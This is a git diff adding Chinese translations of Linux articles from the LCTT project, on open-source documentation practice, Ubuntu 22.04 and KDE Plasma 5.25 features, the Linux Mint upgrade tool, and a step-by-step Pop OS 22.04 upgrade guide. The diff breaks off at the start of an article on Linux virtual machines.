0000000000..6e00f8a851 --- /dev/null +++ b/published/202205/20220422 Documentation Isn’t Just Another Aspect of Open Source Development.md @@ -0,0 +1,105 @@ +[#]: subject: "Documentation Isn’t Just Another Aspect of Open Source Development" +[#]: via: "https://www.opensourceforu.com/2022/04/documentation-isnt-just-another-aspect-of-open-source-development/" +[#]: author: "Harsh Bardhan Mishra https://www.opensourceforu.com/author/harsh-bardhan-mishra/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14545-1.html" + +文档并不是开源项目开发的附属品 +====== + +有些项目长期保持活跃,有些项目却过早消亡 —— 这两者的区别往往在于它们的文档。严谨、聪明的文档可以给你的项目带来它所需要的动力。你应该把文档工作视为一项主要工作,把它与开发相提并论,下面我将说明这么做的理由和正确的做法。 + +![](https://img.linux.net.cn/data/attachment/album/202205/05/090003l7xrtrwszw6u4wqu.jpg) + +经常会有开发者简单地认为他们的代码的“自我描述self-documented”已经足够了,继而认为额外的文档是没有必要的。这种过度的自信会让项目付出很大的代价。匮乏或差劲的文档会扼杀你的项目。没有适当的文档,用户将无法理解项目的目标以及正确的工作流程。这可能会导致人们对采用你的开源产品产生一些疑虑。 + +### 撰写文档,从项目第一天就开始 + +文档不应该是次要的工作,它应该是与代码开发和管理同等的主要任务。随着内容以 Community Threads、Stack Overflow 和 Quora 问答等形式的广泛传播,文档承担了“信息源source of truth”的角色。它应该满足那些想参考一手资料的贡献者的需要,并给工程师提供必要的参考支持。它还应该与利益相关者沟通基本计划。一个好的文档可以确保产品的持续改进和发展。 + +当发布一个软件产品时,我们不仅要发布代码,还要发布好的文档。这给我们带来了一个最重要的概念,大多数良好维护了文档的开源项目都遵循这个概念 —— “文档即代码Documentation as code”。 + +### 文档及代码 + +今天,文档不再被存储为微软 Word 或 PDF 文件。新的需求是版本控制文档,其中所有的文档都是通过版本控制系统添加的,并持续发布。这个概念因 Read the Docs(LCTT 译注:一个文档创建、托管和浏览的平台)而流行,现在已经成为大多数文档团队的内容策略的重要组成部分。 + +像 Bugzilla 和 GitHub 议题Issue这样的工具可以用来跟踪待处理的文档工作,并从维护者和用户那里获得反馈以验证文档的发布。外部审查可以用来验证文档作品,并持续发布文档。这就保证了除代码外,文档也能不断改进并快速发布。 + +请记住,如果不遵循规范化的实践,每个文档都会不同。这可能会导致一些混乱,使人们难以获取正确的信息。 + +哪些东西会被归类为混乱呢?当大多数文件都不遵循规范实践时,不一致就会产生,从而导致更大的混乱!那么,如何整理混乱的开源文档呢? + +### 整理混乱的开源文档 + +遵循一个“文档风格指南”是很重要的。风格指南是创建和展示内容的指导方针的集合。无论你是一个独立的作家还是一个大型文档团队的成员,它都有助于在你的文档中保持一致的风格、口音和语气。 + +有几个流行的风格指南,如《红帽风格指南》、《谷歌文档风格指南》和《苹果风格指南》。如何选用?首先要从定义你的需求开始。如果你的要求与其他开源项目没有太大区别,你可以遵循一个现成的风格指南,或者你也可以先选一个,然后在它的基础上根据自身需要做一些修改。大多数与语法有关的准则和内容规则可能是通用的,但整体术语可能会有所不同。 + +你还需要在你的项目中自动采用这些风格指南。为此,你可以使用 Vale,它集成了本地的持续集成(CI)服务,该服务能帮助你确保文档严格遵循风格指南。 + +> **文档类型** +> +> * *自述文件*:包含基本的安装和使用说明,这也是任何开源文档中最重要的部分之一。它是潜在的用户/开发者与项目之间的第一个连接点。 +> * *参考指南*:可能包括一些基本的参考资料,以便帮助你快速上手,或者是与项目贡献相关的文档。 +> * *用户文档*:是最基本的文档,它描述了项目的使用方式。如果没有用户文档,大多数人就会对如何使用该项目感到迷茫。 +> * *开发文档*:旨在支持开发团队在项目中不断取得新的进展。它还应该为内部开发工作提供一个良好的途径,并确保功能被很好地传达给股东。 +> * *社区内容*:包括基本的博客、视频和外部内容,旨在为那些想进一步了解项目的社区成员提供支持。 + +通过使用风格指南,文件的整体前提将以统一的语言风格传达给用户。但是,这些文件毕竟是由一个技术作家团队准备的,它们的写作风格可能会冲突,因为写作风格是因人而异的。那么,如何才能使文档规范化呢? + +### 规范化文档 + +当涉及到规范化文档时,有许多方法可以采取。第一个方法显然是创建适用于各种角色的预定义模板。这些模板可以用来记录新的功能、识别错误和问题,以及更新变更日志以适应正在增加的新内容。 + +如果你采用的是基于 Git 的工作流,试着开发一个规范的工作流程来发布你的文档。最规范的工作流是:复刻fork 发布文档的仓库,在本地分支上添加你的修改,推送这些修改,提出请求并要求对其进行审查。规范化文档的一个好处就是带来更好的反馈和审查过程。 + +### 反馈和自动审查 + +规范化使得你能够得到用户的反馈并生成自动的审查,可以参考这些反馈来改进项目和文档。通过这些反馈,你也可以评估所分享的信息对用户是否有意义。像 GitBook 这样的文档平台会提供合适的反馈服务,这有助于验证文档是否有用。 + +始终寻求主题专家subject matter expert(SME)对文档的反馈,他们可以是利益相关者、开发者、工程师,甚至是外部贡献者。你也可以使用自动测试和 CI 来验证你的文档是否遵循风格指南。 + +### 文档众包 + +如果你想开源你的文档,最好的方法也许是提供一个快速入门指南。它可以像 `CONTRIBUTING.md` 那样简单,基本上只要说明该如何设置项目并为其作出贡献/单纯使用它即可。 + +始终开发以用户为中心的文档,标明每个项目的目的。同时,打造学习课程来帮助新的贡献者。 + +> **带着目的编写文档** +> +> 始终带着目的编写文档。它是最基本的写作策略之一,它定义了你编写某个特定文档的理由,而非方式。首先回答以下问题: +> +> * 这个文档的目标是什么? +> * 需要传递的信息是什么? +> * 你希望用户在这之后采取什么行动? +> * 我与读者分享的价值观是什么? +> * 我的文档风格是否简洁、一致? + +### 定义一致的内容策略 + +一致的内容策略有助于确保文档工作和项目基础设施的长期愿景。它可以围绕以下两个主要方面: + +1. 资源:包括项目文档、案例研究和白皮书、项目架构等 +2. 品牌内容:博客和特邀帖子、新闻和社区故事、学习课程等 + +每个开源项目都应该有适当的文档,以说明它能为用户提供的功能,这样用户就可以选择最合适的解决方案。适当的文档可以传达正确的信息,也可以让其他开发者贡献力量来进一步加强和改进项目。虽然听起来很简单,但只有做对了,文档才能成功。而你的项目,反过来,只有在你的文档正确的情况下才能成功,所以永远不要低估它的目标或过程! + +策划:Laveesh Kocher + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/04/documentation-isnt-just-another-aspect-of-open-source-development/ + +作者:[Harsh Bardhan Mishra][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/harsh-bardhan-mishra/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/03/Importance-of-documentation-696x477.jpg diff --git a/published/202205/20220423 5 Less Popular Features that Make Ubuntu 22.04 LTS an Epic Release.md b/published/202205/20220423 5 Less Popular Features that Make Ubuntu 22.04 LTS an Epic Release.md new file mode 100644 index 0000000000..dfd7a8e285 --- /dev/null +++ b/published/202205/20220423 5 Less Popular Features that Make Ubuntu 22.04 LTS an Epic Release.md @@ -0,0 +1,123 @@ +[#]: subject: "5 Less Popular Features that Make Ubuntu 22.04 LTS an Epic Release" +[#]: via: "https://www.debugpoint.com/2022/04/ubuntu-22-04-release-unique-feature/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14546-1.html" + +使 Ubuntu 22.04 LTS 成为史诗版本的 5 个不太流行的功能 +====== + +> 这是一份关于 Ubuntu 22.04 LTS 的次要特点的列表,这些特点使它成为迄今为止最好的 LTS 版本之一。 + +Canonical 的最新 LTS 版本 [Ubuntu 的代号为 “Jammy Jellyfish”][1] 受到了全球用户的好评。但是有数百个新的微小功能,以及一些不太流行的功能,没有引起人们的注意。因此,这里有五个 Ubuntu 22.04 的独特功能,我们认为这些功能可以使它成为一个史诗般的版本。 + +![](https://img.linux.net.cn/data/attachment/album/202205/05/112722nabll6gs7s6sgzdr.jpg) + +### Ubuntu 22.04 发布 – 五个独特的功能 + +#### 为数据驱动的方案进行了优化 + +数据分析和处理是当今每个企业的核心。而要做到这一点,你需要巨大的计算能力。Ubuntu 22.04 LTS 带来了开箱即用的 [英伟达虚拟 GPU(vGPU)][3] 驱动支持。这意味着你可以利用英伟达虚拟 GPU 软件,使你能够在虚拟机中使用从物理 GPU 服务器共享的 GPU 计算能力。 + +不仅如此,如果你的业务依赖于 SQL Server,Ubuntu LTS for Azure 带来了 Ubuntu 中的 SQL Server,它由 “Micro$oft” 支持,提供优化的性能和可扩展性。 + +#### 改进的活动目录集成 + +此外,许多企业在多个工作站中为整个企业用户部署 Ubuntu。而且,部署工作站策略以监测和控制用户访问和各种关键业务控制非常重要。 + +活动目录实现了基于策略的工作站管理(在 Ubuntu 20.04 中引入),在这个版本中得到了进一步改善。除此之外,这个版本还带来了 [ADsys][4] 客户端,它有助于通过命令行远程管理组策略、权限升级和远程脚本执行。从这个版本开始,活动目录现在也支持与高级组策略对象的安装程序集成。 + +#### 实时内核支持 + +此外,在 Ubuntu 22.04 LTS 发布期间,Canonical 宣布的一个有趣的消息是,提供“实时”内核选项,现在是测试版。对于电信和其他行业来说,一个低延迟的操作系统对于时间敏感的工作是必需的。因此,考虑到这一点和渗透到这些领域的愿景,Ubuntu 22.04 LTS 带来了一个应用了 PREEMPT_RT 补丁的实时内核构建。它可用于 x86_64 和 AArch64 架构。 + +然而,该 [补丁][5] 还没有在主线内核中出现,希望它能很快能出现。 + +#### 最新的应用、软件包和驱动程序 + +除了上述变化之外,这个版本还带来了大量的软件包和工具链的升级。例如,这个版本带来了基于各种用途的多种 Linux 内核类型,如 Ubuntu 桌面可以选择使用 [内核 5.17][6],而硬件启用内核仍然是 5.15。 + +不仅如此,Ubuntu Server 采用长期支持版的 [内核 5.15][8],而 Ubuntu Cloud 镜像可以选择使用与云供应商合作的更优化的内核。 + +此外,如果你是英伟达用户,值得一提的是,ARM64 上的英伟达驱动的 Linux 限制模块现在已经可用(在 x86_64 中已经可用)。你可以使用 [ubuntu-drivers][9] 程序来安装和配置英伟达驱动。 + +核心模块和子系统构成的完整的操作系统可以完美无缺地工作。因此,考虑到这一点,Ubuntu 22.04 LTS 对它们都进行了仔细的升级,以迎合这个很好的版本。以下是简介: + +GNU/Linux 核心: + + * GCC 11.2.0 + * binutils 2.38 + * glibc 2.35 + +编程工具链: + + * Python 3.10.4 + * Perl 5.34.0 + * LLVM 14 + * golang 1.18 + * rustc 1.58 + * OpenJDK 11(可选使用 OpenJDK 18) + * Ruby 3.0 + * PHP 8.1.2 + * Apache 2.4.52 + * PostgreSQL 14.2 + * Django 3.2.12 + * MySQL 8.0 + * 更新的 NFS 以及 Samba Server + * Systemd 249.11 + * OpenSSL 3.0 + +虚拟化: + + * qemu 6.2.0 + * libvirt 8.0.0 + * virt-manager 4.0.0 + +#### 性能提升 + +但这还不是全部。由于一些长期等待的更新,你应该体验到更快的 Ubuntu 22.04 Jammy Jellyfish,这些体验最终会在这个版本中出现。 + +首先,长期等待的 GNOME 桌面的 [三重缓冲代码] 已经来到。当先前的帧缓冲落后时,三重缓冲会自动启用,它在英特尔和树莓派驱动中产生了更快的桌面性能。不仅如此,代码还监控最后一帧,以便系统不会遇到过量缓冲的情况。 + +其次,改进的电源管理,在运行时对 AMD 和英伟达的 GPU 起作用,将帮助笔记本电脑用户。 + +此外,Wayland 现在是大多数系统的默认显示服务器,除了英伟达 GPU 硬件默认为 X11。Wayland 为你提供了更快的跨应用的桌面体验,包括网页浏览器。 + +最后,定制的 GNOME 42 及其 [独特功能][11](例如平衡和省电电源配置文件)为重度笔记本电脑用户提供了更多优势。此外,带有浅色/深色外观的新强调色和将选定的 GNOME 模块移植到 GTK4/libadwaita 只是这个史诗般的 Ubuntu 22.04 LTS 版本的一个补充。 + +### 结论 + +总而言之,就上述所有内容的变化和许多其他方面而言,我相信这是 Canonical 发布的最好的 LTS 版本之一。 + +我们希望它得到好评,并在未来能保持稳定。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/04/ubuntu-22-04-release-unique-feature/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/2022/01/ubuntu-22-04-lts/ +[2]: https://www.debugpoint.com/wp-content/uploads/2022/04/Ubuntu-22.04-LTS-Desktop-GNOME-1024x580.jpg +[3]: https://docs.英伟达.com/grid/latest/grid-vgpu-release-notes-ubuntu/index.html +[4]: https://github.com/ubuntu/adsys +[5]: https://git.kernel.org/pub/scm/linux/kernel/git/rt/linux-stable-rt.git/ +[6]: https://www.debugpoint.com/2022/03/linux-kernel-5-17/ +[8]: https://www.debugpoint.com/2021/11/linux-kernel-5-15/ +[9]: https://launchpad.net/ubuntu/+source/ubuntu-drivers-common +[10]: https://gitlab.gnome.org/GNOME/mutter/-/merge_requests/1441 +[11]: https://www.debugpoint.com/2022/03/gnome-42-release/ +[12]: https://t.me/debugpoint +[13]: https://twitter.com/DebugPoint +[14]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[15]: https://facebook.com/DebugPoint diff --git a/published/202205/20220425 Exciting New Features Revealed for KDE Plasma 5.25- Take a Look Here.md b/published/202205/20220425 Exciting New Features Revealed for KDE Plasma 5.25- Take a Look Here.md new file mode 100644 index 0000000000..ef54f85084 --- /dev/null +++ b/published/202205/20220425 Exciting New Features Revealed for KDE Plasma 5.25- Take a Look Here.md @@ -0,0 +1,117 @@ +[#]: subject: "Exciting New Features Revealed for KDE Plasma 5.25! Take a Look Here" +[#]: via: "https://news.itsfoss.com/plasma-5-25-features/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "PeterPan0106" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14532-1.html" + +KDE Plasma 5.25 推出了令人激动的新特性!先睹为快 +====== + +> 作为 KDE 的下一次桌面环境升级,Plasma 5.25 包含了一些令人耳目一新的新功能!在这里,我们可以看到它的一些新功能。敬请阅读。 + +![](https://news.itsfoss.com/wp-content/uploads/2022/04/kde-5-25-release.png) + +[KDE Plasma 5.24][1] 提供了关于 breeze 主题的更新,并对多任务“概览”界面进行了修改。 + +现在,开发者们已经准备好向大家介绍 KDE Plasma 5.25 令人激动的新特性。 + +### KDE Plasma 5.25 :拥有哪些新功能? + +Nate Graham 在一篇博文中着重介绍了一些最为有趣的变化,让我们一起先睹为快。 + +#### 有选择地应用全局主题的部分样式 + +![来源: Pointiestick Blog / Nate Graham][2] + +当你在系统设置里应用一个全局主题时,系统会提示你应用全部的样式或是仅仅应用其中一部分样式。 + +例如,当你更换桌面背景以及应用样式时,你可能并不愿意更换鼠标指针和图标。 + +总体而言,当你在基于 KDE 的系统上应用全局主题时,你将能够更为自由地设置你的样式。 + +这个令人惊叹的 [贡献][3] 来自 Dominic Hayes。 + +#### 根据当前壁纸自动生成强调色 + +尽管能够使用预设或自定义的强调色已经很好了。 + +但在 KDE Plasma 5.25 上,他们更进一步,允许让系统根据当前壁纸自动生成并使用强调色。 + +只要你选择了这一选项,每次更换壁纸时系统会自动生成匹配的强调色,无需额外操作。 + +你可以在这里找到相关选项: + +![来源: Pointiestick Blog / Nate Graham][4] + +所以如果你希望桌面和你的壁纸更为匹配,你无需反复进入设置去调整强调色来做到这一点。这个自动生成的功能将会使这一需求更容易完成。 + +这是一个对新特性库增添的很小但十分强大的功能。感谢来自 Tanbir Jishan 的 [贡献][5]。 + +#### 基于强调色的配色方案 + +为了进一步加强个性化的视觉体验, KDE Plasma 5.25 允许你增加基于强调色的个性化配色方案。 + +![来源: Jan Blackquill][6] + +你可以自由选择是否使用个性化配色方案。 + +关于这一特性的详情请见 Jan Blackquill 的 [贡献][7]。 + +#### 为 Flatpak/Snap 应用提供桌面文件编辑权限 + +之前, Flatpak/Snap 应用在 KDE 上并不支持桌面文件(`.desktop`)。 + +得益于最新的 “动态启动器” 门户(来自 Harald Sitter 的 [贡献][8]),这将允许你创建和编辑桌面文件,从而使沙盒应用程序无缝集成到系统。 + +#### 对“发现”的更多优化 + +在“发现”软件中心有一些细微的调整。你将可以在侧边栏中找到所有的应用程序类别,而无需经由“应用”、“插件”和“Plasma 插件”等子类别分别选择。 + +KDE Discover 修改前和修改后(贡献者:[Taavi Juursalu][9]) + +![修改前][12] + +![修改后][13] + +关于这一变化详情请见 [合并请求][10] 。 + +#### 其他优化 + +针对 KDE Plasma 5.25 还计划的其他优化,包括: + + * 针对 KRunner 的性能优化 + * 网络组件增添了频率信息以及 Wi-Fi 网络的 BSSID 详细信息 + +所有错误修复与优化可在 [Nate 的博文][11] 中查看: + +期待 KDE Plasma 5.25 吗?有了这些新特性,我十分期待它的正式发布。如果你有任何想法欢迎在下方评论。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/plasma-5-25-features/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[PeterPan0106](https://github.com/PeterPan0106) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/kde-plasma-5-24-lts-release/ +[2]: https://news.itsfoss.com/wp-content/uploads/2022/04/kde-plasma-5-25.jpg +[3]: https://invent.kde.org/plasma/plasma-workspace/-/merge_requests/1043 +[4]: https://news.itsfoss.com/wp-content/uploads/2022/04/plasma-5-25-tinted-wallpaper-accent.jpg +[5]: https://invent.kde.org/plasma/plasma-workspace/-/merge_requests/1325 +[6]: https://news.itsfoss.com/wp-content/uploads/2022/04/tint-color-scheme.png +[7]: https://invent.kde.org/plasma/plasma-workspace/-/merge_requests/1620 +[8]: https://invent.kde.org/plasma/xdg-desktop-portal-kde/-/commit/d5f958e149705e27bbba9f3bbec659ff5bed1d80 +[9]: https://invent.kde.org/taavi +[10]: https://invent.kde.org/plasma/discover/-/merge_requests/234 +[11]: https://pointieststick.com/2022/04/22/this-week-in-kde-major-accent-color-and-global-theme-improvements/ +[12]: https://news.itsfoss.com/wp-content/uploads/2022/04/kde-discover-plasma-5-25.png +[13]: https://news.itsfoss.com/wp-content/uploads/2022/04/kde-plasma-5-25-discover.png diff --git a/published/202205/20220425 Linux Mint Upgrade Tool - Here-s How it Works.md b/published/202205/20220425 Linux Mint Upgrade Tool - Here-s How it Works.md new file mode 100644 index 0000000000..69691ce77a --- /dev/null +++ b/published/202205/20220425 Linux Mint Upgrade Tool - Here-s How it Works.md @@ -0,0 +1,106 @@ +[#]: subject: "Linux Mint Upgrade Tool – Here’s How it Works" +[#]: via: "https://www.debugpoint.com/2022/04/mint-upgrade-tool/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14531-1.html" + +实测 Linux Mint 升级工具 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/01/170956n81yky0l8vbvy1n8.jpg) + +> 我们通过实际升级测试了 Linux Mint 升级工具(mintupgrade GUI)。这是我们的发现。 + +这个工具正在开发中,可能包含错误,除非你想实验一下,否则请不要在你的日常中使用它。 + +### Linux Mint 升级工具 + +Linux Mint 团队 [宣布][1],他们建立了一个新的工具来升级 Linux Mint 的主要版本。它被称为 “mintupgrade2”。它目前正在开发中,计划用于升级主要版本。例如,从 Linux Mint 20 到 21,而不是小版本的升级。 + +虽然你可以使用标准的 `apt` 命令来升级版本,然而,Mint 团队认为主要版本的升级是很棘手的。新用户很难顺利升级,因为它涉及到终端和一套复杂的命令步骤。 + +此外,这个图形用户界面是对 mintupgrade 程序的封装,并带有一些附加功能,它带来了一套系统前检查和一键修复的升级过程。 + +除此之外,mintupgrade 还会检查你是否连接到电源、系统是否是最新的、磁盘空间的可用性等等。 + +为了让大家了解它的外观和工作情况,我们使用 LMDE 4 设置了一个测试平台做了个测试。 + +但在这之前,让我快速介绍一下它的功能: + + * 完全由 GUI 驱动的升级过程 + * 多语言支持 + * 升级前检查:系统备份、电源、磁盘空间、删除的软件包列表 + * 可配置 + * 提醒你来自上一个版本的孤儿软件包 + * 给你修复问题的选项 + +### 它是如何工作的 + +当我们通过命令 `mintupgrade` 运行这个 Mint 升级工具时,这个图形用户界面程序友好的欢迎屏幕是一个很好的起点,它开启了升级过程,然后它自己开始进行一系列的检查。 + +![Starting the upgrade process][2] + +除此之外,当它在你的系统中发现一些问题时,它会停下来并给你足够的细节。当你点击“修复”后,它就可以再次恢复进程。 + +不止如此。如果由于网络或互联网或任何其他问题而中断,它也可以恢复升级过程。 + +在我们的测试过程中,该工具在我们的测试系统中发现了以下错误,只需点击一下就能修复它们。 + +![Apt Cache check][3] + +![Mint Upgrade detects that system snapshots are not present][4] + +![Check for Orphan Packages][5] + +![Status before upgrade][6] + +![Mint Upgrade can detect the packages that require a downgrade][7] + +最后,我们成功地将一个测试系统从 LMDE 4 升级到 LMDE 5。 + +![Upgrade Complete][8] + +#### 如何获得这个升级工具 + +使用下面的命令,该工具的安装很简单。但正如该团队所建议的,它现在处于 BETA 状态,所以不要用它来进行正式场合的升级。 + +``` +sudo apt update +sudo apt install mintupgrade +``` + +### 结束语 + +最后,我认为这是 Linux Mint 团队的最好的工具之一。正如你在上面看到的,它自己处理了许多错误。我所做的只是点击“修复”按钮。而这个工具足够聪明,能够理解所有的故障点,并负责补救。 + +[mintupgrade 工具][9] 将在 Linux Mint 21 “Vanessa” 发布前发布,大约在 2022 年第三季度末或第四季度初。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/04/mint-upgrade-tool/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/2022/04/linux-mint-21-announcement/ +[2]: https://www.debugpoint.com/wp-content/uploads/2022/04/Starting-the-upgrade-process.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2022/04/Apt-Cache-check-1024x521.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/04/Mint-Upgrade-detects-that-system-snapshots-not-present-1024x522.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/04/Check-for-Orphan-Packages-1024x522.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/04/Status-before-upgrade-1024x528.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/04/Mint-Upgrade-can-detect-the-packages-require-downgrade-1024x612.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/04/Upgrade-Complete-1024x612.jpg +[9]: https://github.com/linuxmint/mintupgrade +[10]: https://t.me/debugpoint +[11]: https://twitter.com/DebugPoint +[12]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[13]: https://facebook.com/DebugPoint diff --git a/published/202205/20220426 How to Upgrade to Pop OS 22.04 LTS from 21.10 -Step by Step.md b/published/202205/20220426 How to Upgrade to Pop OS 22.04 LTS from 21.10 -Step by Step.md new file mode 100644 index 0000000000..931d003acb --- /dev/null +++ b/published/202205/20220426 How to Upgrade to Pop OS 22.04 LTS from 21.10 -Step by Step.md @@ -0,0 +1,105 @@ +[#]: subject: "How to Upgrade to Pop OS 22.04 LTS from 21.10 [Step by Step]" +[#]: via: "https://www.debugpoint.com/2022/04/upgrade-pop-os-22-04-from-21-10/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "hwlife" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14561-1.html" + +分步指南:从 Pop OS 21.10 更新到 Pop OS 22.04 LTS +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/08/094819p7c49e1fc9b4vc15.jpg) + +> 从 Pop OS 21.10 升级到 Pop OS 22.04 LTS 的简单步骤。 + +System76 跟着 [Ubuntu 22.04 LTS][2] [发布][1] 了 Pop OS 22.04 LTS ,它带来了一些令人兴奋的功能。Pop OS 22.04 LTS 是来自 System76 发布的长期支持版本,它带来了自动计划更新、自定义的 GNOME 42、底层性能改进和 [许多其它的功能][3]。 + +你肯定很想体验一下,计划更新到 Pop OS 22.04 。这里我给出你升级 Pop OS 22.04 LTS 的步骤。 + +注意: 你不能直接从 Pop OS 20.04 升级到 Pop OS 22.04 。首先,你需要先升级到 Pop OS 21.10,然后按照此处概述的步骤升级到这个版本。 + +### 从 Pop OS 21.10 升级到 Pop OS 22.04 + +#### 升级之前的准备 + +Pop OS 升级过程是相对稳定的。因为根据我们 [上一篇关于升级的文章][4],许多用户面临升级方面的问题。但是如果你正在使用英伟达硬件运行 Pop OS ,我建议你做个备份。 + + * 确保你的系统是最新的。你可以使用 Pop 商店应用检查更新。或者,你可以打开终端提示符并运行以下命令更新: + ``` + sudo apt update && sudo apt upgrade + ``` + * 按照以上步骤升级完成之后,重启系统。 + * 备份你的文档、照片、视频和其它文件到独立的磁盘分区或者 USB 驱动器。 + * 升级之前,禁用所有 GNOME 扩展。许多扩展会阻挡迁移到 GNOME 42 的过程,最好在你升级之前禁用所有扩展,之后再启用它们。 + * 记下所有额外的软件源或你已经添加的 PPA 仓库,因为它们可能与 “jammy” 分支不兼容。升级之后你可能需要验证它们。 + * 关闭所有运行的程序。 + * 最后,确保你有时间和稳定的网络连接来完成升级。 + +### Pop OS 22.04 LTS 的升级步骤 + +#### 图形界面升级方法 + +如果你正在运行的是 Pop OS 21.10 ,你应该看到如下提示是否你的系统需要升级。 + +![Pop OS 22.04 升级提示][6] + +或者,你可以打开 “设置Settings” 然后访问 “系统升级和恢复OS Upgrade and Recovery” 标签。这里你应该看到有系统更新信息。 + +![Pop OS 22.04 在设置标签的提示][7] + +点击 “Download下载” 开始升级过程。 + +#### 升级到 Pop OS 22.04 LTS 的终端方法 + + * 打开终端运行以下命令: + ``` + sudo apt update + sudo apt full-upgrade + ``` + * 这能确保在升级过程开始前系统保持最新。如果你已经在上述升级前步骤中完成了这个步骤,那么你可以忽略它。 + * 使用以下命令更新恢复分区并等待它完成。这只适用于 UEFI 安装模式。 + ``` + pop-upgrade recovery upgrade from-release + ``` + * 现在使用以下命令开始升级过程: + ``` + pop-upgrade release upgrade + ``` + ![开始升级过程][8] + * 首先,升级过程将会下载软件包。按照我们的测试,需要下载大约 1600 多个软件包。因此,你应该等到它结束。 + * 其次,一旦下载完成,更新管理器将会提示你重启。 + ![准备升级][9] + * 重启之后,Pop OS 将开始安装最新的软件包到你的系统中。 + * 最后,这个下载过程要花将近一个小时,所以等待它完成。我不建议中途停止更新,这将会导致系统不稳定。 + ![Pop OS 22.04 LTS 桌面][10] + * 升级完成之后,享受全新的 Pop OS 22.04 LTS 吧。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/04/upgrade-pop-os-22-04-from-21-10/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[hwlife](https://github.com/hwlife) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://blog.system76.com/post/682519660741148672/popos-2204-lts-has-landed +[2]: https://www.debugpoint.com/2022/01/ubuntu-22-04-lts/ +[3]: https://www.debugpoint.com/2022/04/pop-os-22-04-lts/ +[4]: https://www.debugpoint.com/2021/12/upgrade-pop-os-21-10-from-21-04/ +[5]: https://www.debugpoint.com/2021/07/upgrade-pop-os-21-04-from-20-10/ +[6]: https://www.debugpoint.com/wp-content/uploads/2022/04/Pop-OS-22.04-Upgrade-Prompt-1024x200.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/04/Pop-OS-22.04-Upgrade-Prompt-in-Settings.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/04/Start-the-upgrade-process.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2022/04/Ready-for-upgrade-1024x323.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2022/04/Pop-OS-22.04-LTS-Desktop-1024x641.jpg +[11]: https://t.me/debugpoint +[12]: https://twitter.com/DebugPoint +[13]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[14]: https://facebook.com/DebugPoint diff --git a/published/202205/20220427 10 Reasons to Run Linux in Virtual Machines.md b/published/202205/20220427 10 Reasons to Run Linux in Virtual Machines.md new file mode 100644 index 0000000000..6045b1d4b6 --- /dev/null +++ b/published/202205/20220427 10 Reasons to Run Linux in Virtual Machines.md @@ -0,0 +1,170 @@ +[#]: subject: "10 Reasons to Run Linux in Virtual Machines" +[#]: via: "https://itsfoss.com/why-linux-virtual-machine/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "PeterPan0106" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14541-1.html" + +在虚拟机中运行 Linux 的十大优点 +====== + 